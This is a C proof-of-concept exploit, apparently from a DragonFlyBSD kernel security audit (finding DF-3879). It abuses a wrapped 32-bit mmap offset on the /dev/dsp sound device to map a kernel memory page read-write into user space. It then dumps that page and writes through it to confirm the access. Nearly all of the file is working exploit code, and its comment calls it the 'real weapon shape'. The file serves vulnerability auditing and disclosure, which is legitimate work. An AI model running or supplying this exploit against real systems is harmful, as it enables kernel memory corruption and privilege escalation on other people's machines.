โฌข DragonFlyBSD Kernel Audit
DF-3879 / mmap_onepage.c
โ† back to finding โ†“ download raw
/*
 * DF-3879 A3 โ€” single-page wrapped-offset mapping (the real weapon shape).
 *
 * Geometry (see VERDICT.md): with mmap size S, the bypass requires
 *   user_off = (t - S) mod 2^64,  t in [0, bufsize), t < S  (true wrap)
 *   -> ofs = (u32)user_off = 2^32 - S + t
 *   -> wild = b->buf + 2^32 - S + t, i.e. inside [b->buf + 4GB - S, b->buf + 4GB)
 * The old-style device pager ctor validates EVERY page of the mapping
 * (device_pager.c old_dev_pager_ctor loop), so all S/PAGE pages from wild
 * must be MAPPED kernel KVA or pmap_kextract() panics on a garbage PDE.
 * Small S keeps the walk short: S = 0x1000 -> exactly one validated page,
 * target = b->buf + 0xFFFFF000 + t.
 *
 * usage: mmap_onepage [t_hex] [S_hex]
 *   defaults t=0 S=0x1000 -> wild = b->buf + 0xFFFFF000
 * On success: prints a hexdump of the kernel page now mapped RW -> alias.
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>

int main(int argc, char **argv)
{
	uint64_t t = argc > 1 ? strtoull(argv[1], NULL, 0) : 0;
	uint64_t S = argc > 2 ? strtoull(argv[2], NULL, 0) : 0x1000;
	uint64_t user_off = (uint64_t)(t - S);	/* wraps mod 2^64 when t < S */
	uint32_t ofs = (uint32_t)user_off;

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("[*] DF-3879 A3: t=0x%llx S=0x%llx user_off=0x%016llx ofs=0x%x"
	       " -> wild = b->buf + 0x%x\n",
	       (unsigned long long)t, (unsigned long long)S,
	       (unsigned long long)user_off, ofs);

	int fd = open("/dev/dsp", O_RDWR);
	if (fd < 0) { printf("[-] open: %s\n", strerror(errno)); return 2; }
	int fmt = AFMT_S16_LE, ch = 2, sp = 44100;
	audio_buf_info oi;
	if (ioctl(fd, SNDCTL_DSP_SETFMT, &fmt) < 0 ||
	    ioctl(fd, SNDCTL_DSP_CHANNELS, &ch) < 0 ||
	    ioctl(fd, SNDCTL_DSP_SPEED, &sp) < 0 ||
	    ioctl(fd, SNDCTL_DSP_GETOSPACE, &oi) < 0 || oi.bytes <= 0) {
		printf("[-] setup: %s\n", strerror(errno));
		return 2;
	}
	printf("[+] setup ok: bytes=%d fragsize=%d (t must be < bufsize=%d, t<S)\n",
	       oi.bytes, oi.fragsize, oi.bytes);

	void *p = mmap(NULL, (size_t)S, PROT_READ | PROT_WRITE,
			MAP_SHARED, fd, (off_t)user_off);
	if (p == MAP_FAILED) {
		printf("[-] mmap: %s (errno=%d)\n", strerror(errno), errno);
		return 3;
	}
	printf("[!] mmap SUCCEEDED โ€” kernel page at b->buf+0x%x mapped RW:\n", ofs);
	for (int i = 0; i < 96; i += 16) {
		unsigned char *q = (unsigned char *)p + i;
		printf("    +%03x: %02x %02x %02x %02x %02x %02x %02x %02x"
		       " %02x %02x %02x %02x %02x %02x %02x %02x\n", i,
		       q[0],q[1],q[2],q[3],q[4],q[5],q[6],q[7],
		       q[8],q[9],q[10],q[11],q[12],q[13],q[14],q[15]);
	}
	/* prove RW: write a marker through the alias, read it back */
	((unsigned char *)p)[0] ^= 0xAA;
	printf("[*] wrote through alias (p[0]^=0xAA -> 0x%02x) โ€” RW confirmed\n",
	       ((unsigned char *)p)[0]);
	return 0;
}